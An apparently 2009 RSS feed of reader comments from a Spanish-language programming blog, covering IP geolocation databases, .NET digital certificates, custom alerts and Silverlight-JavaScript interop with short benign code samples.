		<title>Comentario de Obtener la ciudad y el país de una dirección IP por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/05/obtener-la-ciudad-y-el-pais-de-una-direccion-ip/comment-page-1/#comment-57</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Tue, 08 Sep 2009 16:47:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=387#comment-57</guid>
		<description>En el artículo nombré a WebHosting.info desde el cual, entrando en www.webhosting.info y pulsando la opción &quot;Download IP-to-Country Database&quot;, podrás bajar la base de datos.  De todas formas si buscas con Google encontrarás varios sitios con esta información gratuita.
Saludos.</description>
		<content:encoded><![CDATA[<p>En el artículo nombré a WebHosting.info desde el cual, entrando en <a href="http://www.webhosting.info" rel="nofollow">http://www.webhosting.info</a> y pulsando la opción &#8220;Download IP-to-Country Database&#8221;, podrás bajar la base de datos.  De todas formas si buscas con Google encontrarás varios sitios con esta información gratuita.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Obtener la ciudad y el país de una dirección IP por cce</title>
		<link>http://www.programandoamedianoche.com/2009/05/obtener-la-ciudad-y-el-pais-de-una-direccion-ip/comment-page-1/#comment-56</link>
		<dc:creator>cce</dc:creator>
		<pubDate>Tue, 08 Sep 2009 15:46:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=387#comment-56</guid>
		<description>Muy bien explicado, pero de donde saco la base de datos con el pais, ciudad y demas informacion para cada ip..Entre a la pagina de ISO pero tenes q pagar...saludos.-</description>
		<content:encoded><![CDATA[<p>Muy bien explicado, pero de donde saco la base de datos con el pais, ciudad y demas informacion para cada ip..Entre a la pagina de ISO pero tenes q pagar&#8230;saludos.-</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-55</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Tue, 01 Sep 2009 18:35:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-55</guid>
		<description>Me alegro.  Cualquier otra cosa no dudes en consultarnos.
Saludos.</description>
		<content:encoded><![CDATA[<p>Me alegro.  Cualquier otra cosa no dudes en consultarnos.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Santiago</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-54</link>
		<dc:creator>Santiago</dc:creator>
		<pubDate>Tue, 01 Sep 2009 17:50:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-54</guid>
		<description>Gracias por responder. El problema estaba en los permisos.
Saludos</description>
		<content:encoded><![CDATA[<p>Gracias por responder. El problema estaba en los permisos.<br />
Saludos</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-53</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 31 Aug 2009 17:36:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-53</guid>
		<description>Santiago: Muchas gracias por las felicitaciones.
Sobre el error, parecería ser porque no encuentra el certificado digital.  ¿Guardaste un certificado en la variable objCert?  De ser así: ¿El usuario tiene permisos para leer la clave privada del mismo?  Ten en cuenta que si lo estás usando desde ASP.NET, el usuario &quot;ASP.NET&quot; debe tener permisos para leer el certificado.
Si sigue fin funcionar te invito a nuestro foro en http://foro.scientia.com.ar para dejar tus consultas, las cuales trataremos de responder a la brevedad.
Espero tus comentarios.
Suerte!</description>
		<content:encoded><![CDATA[<p>Santiago: Muchas gracias por las felicitaciones.<br />
Sobre el error, parecería ser porque no encuentra el certificado digital.  ¿Guardaste un certificado en la variable objCert?  De ser así: ¿El usuario tiene permisos para leer la clave privada del mismo?  Ten en cuenta que si lo estás usando desde ASP.NET, el usuario &#8220;ASP.NET&#8221; debe tener permisos para leer el certificado.<br />
Si sigue fin funcionar te invito a nuestro foro en <a href="http://foro.scientia.com.ar" rel="nofollow">http://foro.scientia.com.ar</a> para dejar tus consultas, las cuales trataremos de responder a la brevedad.<br />
Espero tus comentarios.<br />
Suerte!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Santiago</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-52</link>
		<dc:creator>Santiago</dc:creator>
		<pubDate>Mon, 31 Aug 2009 16:45:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-52</guid>
		<description>Hola Gustavo:
Nuevamente felicitarte por la serie. Probando el codigo fuente en lo referente a firmar datos obtengo CryptographicException &quot;El conjunto de claves no existe&quot; cuando se invoca al metodo objSignedData.ComputeSignature(objSigner);
Estoy usando certificados de prueba tal cual lo describiste en el inicio de serie.
Puedes indicarme cual es el problema? Muchas gracias.</description>
		<content:encoded><![CDATA[<p>Hola Gustavo:<br />
Nuevamente felicitarte por la serie. Probando el codigo fuente en lo referente a firmar datos obtengo CryptographicException &#8220;El conjunto de claves no existe&#8221; cuando se invoca al metodo objSignedData.ComputeSignature(objSigner);<br />
Estoy usando certificados de prueba tal cual lo describiste en el inicio de serie.<br />
Puedes indicarme cual es el problema? Muchas gracias.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Santiago</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-51</link>
		<dc:creator>Santiago</dc:creator>
		<pubDate>Mon, 24 Aug 2009 23:08:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-51</guid>
		<description>Excelente serie. De mucha utilidad</description>
		<content:encoded><![CDATA[<p>Excelente serie. De mucha utilidad</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Enlace a Data Objects en WPF por Javi</title>
		<link>http://www.programandoamedianoche.com/2009/07/enlace-a-data-objects-en-wpf/comment-page-1/#comment-50</link>
		<dc:creator>Javi</dc:creator>
		<pubDate>Tue, 04 Aug 2009 07:37:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=458#comment-50</guid>
		<description>Muchas gracias.
Muy buena explicación</description>
		<content:encoded><![CDATA[<p>Muchas gracias.<br />
Muy buena explicación</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Conceptos de Certificado Digital y Firma Digital por Mar</title>
		<link>http://www.programandoamedianoche.com/2009/06/certificado-digital-y-firma-digital/comment-page-1/#comment-49</link>
		<dc:creator>Mar</dc:creator>
		<pubDate>Thu, 23 Jul 2009 15:56:02 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=406#comment-49</guid>
		<description>Hola, gracias por la información y en espera del siguiente articulo, ojalá que pudieras poner algunos ejemplos de cifrado asimetrico con java. Excelente post, Felicidades</description>
		<content:encoded><![CDATA[<p>Hola, gracias por la información y en espera del siguiente articulo, ojalá que pudieras poner algunos ejemplos de cifrado asimetrico con java. Excelente post, Felicidades</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Clases de direcciones IP por Luiz</title>
		<link>http://www.programandoamedianoche.com/2008/11/direcciones-ip/comment-page-1/#comment-48</link>
		<dc:creator>Luiz</dc:creator>
		<pubDate>Tue, 23 Jun 2009 01:42:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=124#comment-48</guid>
		<description>Muy buen material, espero con ansias el capitulo de mascaras de red, eso me preparara para mis examenes, gracia por el aporte...</description>
		<content:encoded><![CDATA[<p>Muy buen material, espero con ansias el capitulo de mascaras de red, eso me preparara para mis examenes, gracia por el aporte&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Obtener la ciudad y el país de una dirección IP por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/05/obtener-la-ciudad-y-el-pais-de-una-direccion-ip/comment-page-1/#comment-47</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Tue, 16 Jun 2009 19:53:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=387#comment-47</guid>
		<description>Muchas gracias!</description>
		<content:encoded><![CDATA[<p>Muchas gracias!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de &#8220;Alert&#8221; personalizado por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2008/07/alert-personalizado/comment-page-1/#comment-45</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Tue, 16 Jun 2009 19:38:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=11#comment-45</guid>
		<description>Debería funcionar, probá de crear un proyecto web en VS 2005 y copiar dentro todos los archivos de este proyecto.
Saludos.</description>
		<content:encoded><![CDATA[<p>Debería funcionar, probá de crear un proyecto web en VS 2005 y copiar dentro todos los archivos de este proyecto.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de &#8220;Alert&#8221; personalizado por Guillermo</title>
		<link>http://www.programandoamedianoche.com/2008/07/alert-personalizado/comment-page-1/#comment-44</link>
		<dc:creator>Guillermo</dc:creator>
		<pubDate>Tue, 16 Jun 2009 19:35:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=11#comment-44</guid>
		<description>¿Funciona igual para vs 2005 ? 
¿No tendrás un ejemplo para vs 2005 ?</description>
		<content:encoded><![CDATA[<p>¿Funciona igual para vs 2005 ?<br />
¿No tendrás un ejemplo para vs 2005 ?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Obtener la ciudad y el país de una dirección IP por lottus s.a.</title>
		<link>http://www.programandoamedianoche.com/2009/05/obtener-la-ciudad-y-el-pais-de-una-direccion-ip/comment-page-1/#comment-43</link>
		<dc:creator>lottus s.a.</dc:creator>
		<pubDate>Tue, 16 Jun 2009 17:57:46 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=387#comment-43</guid>
		<description>felicitaciones excelente tu pagina</description>
		<content:encoded><![CDATA[<p>felicitaciones excelente tu pagina</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Transacciones y modos de aislamiento en SQL Server y .NET por lrocker</title>
		<link>http://www.programandoamedianoche.com/2009/04/transacciones-y-modos-de-aislamiento-en-sql-server-y-adonet/comment-page-1/#comment-42</link>
		<dc:creator>lrocker</dc:creator>
		<pubDate>Wed, 03 Jun 2009 23:05:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=278#comment-42</guid>
		<description>Muy buen documento, muchas gracias por la publicación.
Saludos,</description>
		<content:encoded><![CDATA[<p>Muy buen documento, muchas gracias por la publicación.<br />
Saludos,</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Usar variables de sesión en servicios web de WCF por AOG</title>
		<link>http://www.programandoamedianoche.com/2009/02/usar-variables-de-sesion-en-servicios-web-de-wcf/comment-page-1/#comment-41</link>
		<dc:creator>AOG</dc:creator>
		<pubDate>Thu, 07 May 2009 17:51:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=252#comment-41</guid>
		<description>Muy Bueno. Son pequeñas cosas que están en la msdn, pero que hay que buscarlas, y en sitios como este las encuentra más rápidamente,
Un saludo</description>
		<content:encoded><![CDATA[<p>Muy Bueno. Son pequeñas cosas que están en la msdn, pero que hay que buscarlas, y en sitios como este las encuentra más rápidamente,<br />
Un saludo</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Alex</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-39</link>
		<dc:creator>Alex</dc:creator>
		<pubDate>Wed, 01 Apr 2009 14:47:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-39</guid>
		<description>ok, gracias, claro q me has ayudado, pero aun no me has dicho como llamo a una pagina desde silverlight, explicamelo con codigo incluido (en VB) por favor.
salu2</description>
		<content:encoded><![CDATA[<p>ok, gracias, claro q me has ayudado, pero aun no me has dicho como llamo a una pagina desde silverlight, explicamelo con codigo incluido (en VB) por favor.<br />
salu2</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-38</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Tue, 31 Mar 2009 23:42:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-38</guid>
		<description>Alex, 
Entiendo el problema, el tema es que en estos casos se está empleando un enfoque diferente, en lugar pasar la información a la pagina .aspx desde Silverlight para que la misma envíe los datos
al servidor en un postback, es más frecuente hacer que el control Silverlight se comunique directamente con el servidor através de servicios web, esta modalidad es el que se está empleando mayormente para el acceso a datos desde Silverlight.
Entonces, me parece que lo que podrías hacer es crear un servicio web que se encargue de autenticar al usuario e invocarlo desde el control Silverlight, luego a la vuelta de la llamada del servicio web (que es una llamada asincrónica) en base a la respuesta podrías redireccionar desde Silverlight 
a la página correspondiente, recuerda que además de validar al usuario en el servicio web deberás verificar en cada página si el mismo se encuentra autenticado, para que no ingresen a paginas que requieren autenticación escribiendo la url en browser. Para hacer esto podrías emplear el enfoque de Forms Authentication y Membership que es provisto por asp.net y te ahorrará algo de tiempo si ya lo conoces. 
Otra opción es utilizar variables de sesión, aunque vas a tener que verificar manualmente la autenticación en ese caso.
Espero que esta respuesta te haya ayudado y saludos.</description>
		<content:encoded><![CDATA[<p>Alex,<br />
Entiendo el problema, el tema es que en estos casos se está empleando un enfoque diferente, en lugar pasar la información a la pagina .aspx desde Silverlight para que la misma envíe los datos<br />
al servidor en un postback, es más frecuente hacer que el control Silverlight se comunique directamente con el servidor através de servicios web, esta modalidad es el que se está empleando mayormente para el acceso a datos desde Silverlight.<br />
Entonces, me parece que lo que podrías hacer es crear un servicio web que se encargue de autenticar al usuario e invocarlo desde el control Silverlight, luego a la vuelta de la llamada del servicio web (que es una llamada asincrónica) en base a la respuesta podrías redireccionar desde Silverlight<br />
a la página correspondiente, recuerda que además de validar al usuario en el servicio web deberás verificar en cada página si el mismo se encuentra autenticado, para que no ingresen a paginas que requieren autenticación escribiendo la url en browser. Para hacer esto podrías emplear el enfoque de Forms Authentication y Membership que es provisto por asp.net y te ahorrará algo de tiempo si ya lo conoces.<br />
Otra opción es utilizar variables de sesión, aunque vas a tener que verificar manualmente la autenticación en ese caso.<br />
Espero que esta respuesta te haya ayudado y saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Alex</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-37</link>
		<dc:creator>Alex</dc:creator>
		<pubDate>Tue, 31 Mar 2009 21:48:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-37</guid>
		<description>Dario, me explico mejor, yo cree una aplicacion de asp.net y luego agrege una nueva aplicacion en este caso de silverlight (en el proyecto tengo 2 aplicaciones asp y silverlight), agrege un tex un password dos etiquetas y un boton en la pagina de silverlight en donde en el boton hay un evento clic que le agrege para q al dar clic me valide la entrada a sql2005, si existe el usuario me de paso al sistema que quiero desarrollar en asp.net entre lo q  voy a desarrollar esta el control de bodegas, ese es solo un modulo, seran mas con el tiempo,estoy intentando usar linq para trabajar con los datos, ahora ¿..cómo llamo al dar clic en el boton a la pagina de asp....??? (estoy dando un inicio de sesion), claro y de ahi seguira a donde tiene que segir en asp... el diseño de la pagina en silverlight lo he trabajado en blend 2 sp1 ojo no soy experto  recien estoy intentando crear  mi apliccion desde cero, tanto en blend, como en silverlight. disculpa por no haberme explicado mejor antes, creo q ahora esta mas clara la pelicula, ... como llamo a una pagina de asp desde el boton de silverlight, te seguire molestando amigo...
salu2</description>
		<content:encoded><![CDATA[<p>Dario, me explico mejor, yo cree una aplicacion de asp.net y luego agrege una nueva aplicacion en este caso de silverlight (en el proyecto tengo 2 aplicaciones asp y silverlight), agrege un tex un password dos etiquetas y un boton en la pagina de silverlight en donde en el boton hay un evento clic que le agrege para q al dar clic me valide la entrada a sql2005, si existe el usuario me de paso al sistema que quiero desarrollar en asp.net entre lo q  voy a desarrollar esta el control de bodegas, ese es solo un modulo, seran mas con el tiempo,estoy intentando usar linq para trabajar con los datos, ahora ¿..cómo llamo al dar clic en el boton a la pagina de asp&#8230;.??? (estoy dando un inicio de sesion), claro y de ahi seguira a donde tiene que segir en asp&#8230; el diseño de la pagina en silverlight lo he trabajado en blend 2 sp1 ojo no soy experto  recien estoy intentando crear  mi apliccion desde cero, tanto en blend, como en silverlight. disculpa por no haberme explicado mejor antes, creo q ahora esta mas clara la pelicula, &#8230; como llamo a una pagina de asp desde el boton de silverlight, te seguire molestando amigo&#8230;<br />
salu2</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Alex</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-36</link>
		<dc:creator>Alex</dc:creator>
		<pubDate>Tue, 31 Mar 2009 19:11:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-36</guid>
		<description>hola y gracias por ser atento a mi pedido, sabes se me olvido decirte q entiendo algo en VB y no C#, tu explicacion es buena pero no la entiendo en c#, me la podrias decir en VB por favor, y perdona la molestia, para no enredarme respondeme a esta pregunta, &quot;Como hago para llamar a una pagina de silverlight desde silverlight&quot; es que necesito aprender, de nuevo gracias, estoy atento a tu respuesta.</description>
		<content:encoded><![CDATA[<p>hola y gracias por ser atento a mi pedido, sabes se me olvido decirte q entiendo algo en VB y no C#, tu explicacion es buena pero no la entiendo en c#, me la podrias decir en VB por favor, y perdona la molestia, para no enredarme respondeme a esta pregunta, &#8220;Como hago para llamar a una pagina de silverlight desde silverlight&#8221; es que necesito aprender, de nuevo gracias, estoy atento a tu respuesta.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-35</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Tue, 31 Mar 2009 16:55:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-35</guid>
		<description>Hola Alex,
Te voy comentando por pregunta, la primera es sobre la vinculación de un control Silverlight a una página ASP.NET, si ya posees un control Silverlight terminado, por ejemplo un control hecho por terceros o uno hecho por vos ya testeado y funcionando por completo (como un archivo .xap), lo que debes hacer es copiarlo en la carpeta bin o si lo deseas en alguna subcarpeta dentro 
de la carpeta bin y luego en la pagina .aspx crear un elemento Silverlight y hacerle referencia en el atributo Source, por ejemplo

            &lt;asp:Silverlight ID=&quot;Xaml1&quot; runat=&quot;server&quot; Source=&quot;~/ListTree.xap&quot;
            MinimumVersion=&quot;2.0.31005.0&quot; Width=&quot;100%&quot; Height=&quot;100%&quot; /&gt;        

Si no posees un control ya terminado, o sea que estás creando un control Silverlight, Visual Studio (2008) puede ayudarte automatizando las tareas de prueba del control, podés agregar en la solución del projecto Silverlight un proyecto ASP.NET convencional desde las propiedades del proyecto ASP.NET, en la solapa &quot;Silverlight Applications&quot; (Versión en inglés del VS) podrás incluir el proyecto Silverlight que estás creando presionando el botón &quot;Add&quot;,Visual Studio te permitirá crear una página .aspx (también te incluirá una pagina html) de pruebas con el control ya embebido y ajustará a la solución para que compile, genere el .xap y lo copie a la carpeta bin automáticamente ahorrandote mucho tiempo.   



Para conectar dos controles Silverlight dentro de una misma página, supongamos que desde el control Sil1 deseas enviarle una cadena de texto al control Sil2, ambos embebidos en una página .aspx, hay tres pasos que debes seguir;
Hacer que el control Sil1 exporte información, Hacer que el control Sil2 importe información y hacer el puente entre ambos.

Para el primer paso deberás hacer que el control Sil1 exporte información, esto en el mundo práctico es hacer que Sil1 llame una función JavaScript en la página .aspx, para hacer eso simplemente deberás invocar a la función JavaScript de la siguiente forma

HtmlPage.Window.Invoke(&quot;miJSFunc&quot;, &quot;Cadena enviada desde Sil1!&quot;);

Luego debes hacer que el control Sil2 importe información, la idea es que Sil2 posea métodos invocables desde JavaScript para recibir información y esto se hace incluyendo el atributo &quot;ScriptableMember&quot; en el método de Sil2 que será invocado

    [ScriptableMember]
    public void RecibirTexto(string Text)
    {

Además deberás registrar el control como scriptable, simplemente agregando 

HtmlPage.RegisterScriptableObject(&quot;Page&quot;, this); en el constructor del control Sil2

Finalmente deberás crear el puente entre ambos como una función javascript en la página .aspx que contiene ambos controles
  

        
        function miJSFunc(texto) {
             var  Objs1 = $find(&quot;Sil2&quot;);
             var  Elems1 =  Objs1.get_element();
             Elems1.Content.Page.RecibirTexto(texto);
        }
    


Con esos pasos deberías poder conectar ambos controles, esto es solo un ejemplo mínimo, en un caso real podrías sofisticar un poco este esquema y hacer que el control Sil1 escriba el javascript en la pagina, deberías emplear el clientID de ASP.NET en el $find (&lt;%= Sil2.ClientID ) y no usar el nombre directamente ya que el nombre del control (Sil2) puede variar en ciertos escenarios, por ejemplo si el control se encuentra dentro de panels.   
También podrías necesitar enviar información compleja entre los controles, dejo esas posibilidades a tu creatividad y espero que esta información te haya resultado útil.</description>
		<content:encoded><![CDATA[<p>Hola Alex,<br />
Te voy comentando por pregunta, la primera es sobre la vinculación de un control Silverlight a una página ASP.NET, si ya posees un control Silverlight terminado, por ejemplo un control hecho por terceros o uno hecho por vos ya testeado y funcionando por completo (como un archivo .xap), lo que debes hacer es copiarlo en la carpeta bin o si lo deseas en alguna subcarpeta dentro<br />
de la carpeta bin y luego en la pagina .aspx crear un elemento Silverlight y hacerle referencia en el atributo Source, por ejemplo</p>
<p>            &lt;asp:Silverlight ID=&#8221;Xaml1&#8243; runat=&#8221;server&#8221; Source=&#8221;~/ListTree.xap&#8221;<br />
            MinimumVersion=&#8221;2.0.31005.0&#8243; Width=&#8221;100%&#8221; Height=&#8221;100%&#8221; /&gt;        </p>
<p>Si no posees un control ya terminado, o sea que estás creando un control Silverlight, Visual Studio (2008) puede ayudarte automatizando las tareas de prueba del control, podés agregar en la solución del projecto Silverlight un proyecto ASP.NET convencional desde las propiedades del proyecto ASP.NET, en la solapa &#8220;Silverlight Applications&#8221; (Versión en inglés del VS) podrás incluir el proyecto Silverlight que estás creando presionando el botón &#8220;Add&#8221;,Visual Studio te permitirá crear una página .aspx (también te incluirá una pagina html) de pruebas con el control ya embebido y ajustará a la solución para que compile, genere el .xap y lo copie a la carpeta bin automáticamente ahorrandote mucho tiempo.   </p>
<p>Para conectar dos controles Silverlight dentro de una misma página, supongamos que desde el control Sil1 deseas enviarle una cadena de texto al control Sil2, ambos embebidos en una página .aspx, hay tres pasos que debes seguir;<br />
Hacer que el control Sil1 exporte información, Hacer que el control Sil2 importe información y hacer el puente entre ambos.</p>
<p>Para el primer paso deberás hacer que el control Sil1 exporte información, esto en el mundo práctico es hacer que Sil1 llame una función JavaScript en la página .aspx, para hacer eso simplemente deberás invocar a la función JavaScript de la siguiente forma</p>
<p>HtmlPage.Window.Invoke(&#8220;miJSFunc&#8221;, &#8220;Cadena enviada desde Sil1!&#8221;);</p>
<p>Luego debes hacer que el control Sil2 importe información, la idea es que Sil2 posea métodos invocables desde JavaScript para recibir información y esto se hace incluyendo el atributo &#8220;ScriptableMember&#8221; en el método de Sil2 que será invocado</p>
<p>    [ScriptableMember]<br />
    public void RecibirTexto(string Text)<br />
    {</p>
<p>Además deberás registrar el control como scriptable, simplemente agregando </p>
<p>HtmlPage.RegisterScriptableObject(&#8220;Page&#8221;, this); en el constructor del control Sil2</p>
<p>Finalmente deberás crear el puente entre ambos como una función javascript en la página .aspx que contiene ambos controles</p>
<p>        function miJSFunc(texto) {<br />
             var  Objs1 = $find(&#8220;Sil2&#8243;);<br />
             var  Elems1 =  Objs1.get_element();<br />
             Elems1.Content.Page.RecibirTexto(texto);<br />
        }</p>
<p>Con esos pasos deberías poder conectar ambos controles, esto es solo un ejemplo mínimo, en un caso real podrías sofisticar un poco este esquema y hacer que el control Sil1 escriba el javascript en la pagina, deberías emplear el clientID de ASP.NET en el $find (&lt;%= Sil2.ClientID ) y no usar el nombre directamente ya que el nombre del control (Sil2) puede variar en ciertos escenarios, por ejemplo si el control se encuentra dentro de panels.<br />
También podrías necesitar enviar información compleja entre los controles, dejo esas posibilidades a tu creatividad y espero que esta información te haya resultado útil.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Alex</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-34</link>
		<dc:creator>Alex</dc:creator>
		<pubDate>Mon, 30 Mar 2009 23:38:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-34</guid>
		<description>HOLA A TODOS, necesito de su ayuda, como hago para llamar a una pagina de Silverlight desde Silverlight, y como hago para vincular silverlight a una pagina de asp.net, es decir en lugar de usar CSS para maquillarla usar Silverlight para ello, saludos desde Ecuador.</description>
		<content:encoded><![CDATA[<p>HOLA A TODOS, necesito de su ayuda, como hago para llamar a una pagina de Silverlight desde Silverlight, y como hago para vincular silverlight a una pagina de asp.net, es decir en lugar de usar CSS para maquillarla usar Silverlight para ello, saludos desde Ecuador.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de &#8220;Alert&#8221; personalizado por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2008/07/alert-personalizado/comment-page-1/#comment-33</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 23 Mar 2009 19:24:46 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=11#comment-33</guid>
		<description>Puede ser que no te funcione porque aún no cargó la librería de AJAX.  Si te parece ingresa la consulta en http://foro.scientia.com.ar con el fuente de lo que no te funciona y vemos de ayudarte.
Saludos.</description>
		<content:encoded><![CDATA[<p>Puede ser que no te funcione porque aún no cargó la librería de AJAX.  Si te parece ingresa la consulta en <a href="http://foro.scientia.com.ar" rel="nofollow">http://foro.scientia.com.ar</a> con el fuente de lo que no te funciona y vemos de ayudarte.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de &#8220;Alert&#8221; personalizado por Jorge</title>
		<link>http://www.programandoamedianoche.com/2008/07/alert-personalizado/comment-page-1/#comment-32</link>
		<dc:creator>Jorge</dc:creator>
		<pubDate>Mon, 23 Mar 2009 17:29:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=11#comment-32</guid>
		<description>Hola, muy buen ejercicio, me sirvio mucho, solo tengo una duda al mandar el alert cuadno entra un un pageload, no me funciona y me manda el alert tradicional. Alguna idea de por que??.

Saludos</description>
		<content:encoded><![CDATA[<p>Hola, muy buen ejercicio, me sirvio mucho, solo tengo una duda al mandar el alert cuadno entra un un pageload, no me funciona y me manda el alert tradicional. Alguna idea de por que??.</p>
<p>Saludos</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Error al modificar la estructura de las tablas de una base de SQL Server 2008 por joel</title>
		<link>http://www.programandoamedianoche.com/2008/08/error-al-modificar-la-estructura-de-las-tablas-de-una-base-de-sql-server-2008/comment-page-1/#comment-29</link>
		<dc:creator>joel</dc:creator>
		<pubDate>Fri, 13 Mar 2009 22:01:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=15#comment-29</guid>
		<description>Gracias, tenía ese problema y no sabía como solucionarlo.</description>
		<content:encoded><![CDATA[<p>Gracias, tenía ese problema y no sabía como solucionarlo.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por williams</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-28</link>
		<dc:creator>williams</dc:creator>
		<pubDate>Tue, 03 Mar 2009 17:14:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-28</guid>
		<description>Bueno, ya veré que otro código invento. Me descubrieron jajajajajaja.</description>
		<content:encoded><![CDATA[<p>Bueno, ya veré que otro código invento. Me descubrieron jajajajajaja.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Deshabilitar controles de la página hasta que finalicen los UpdatePanels por John David</title>
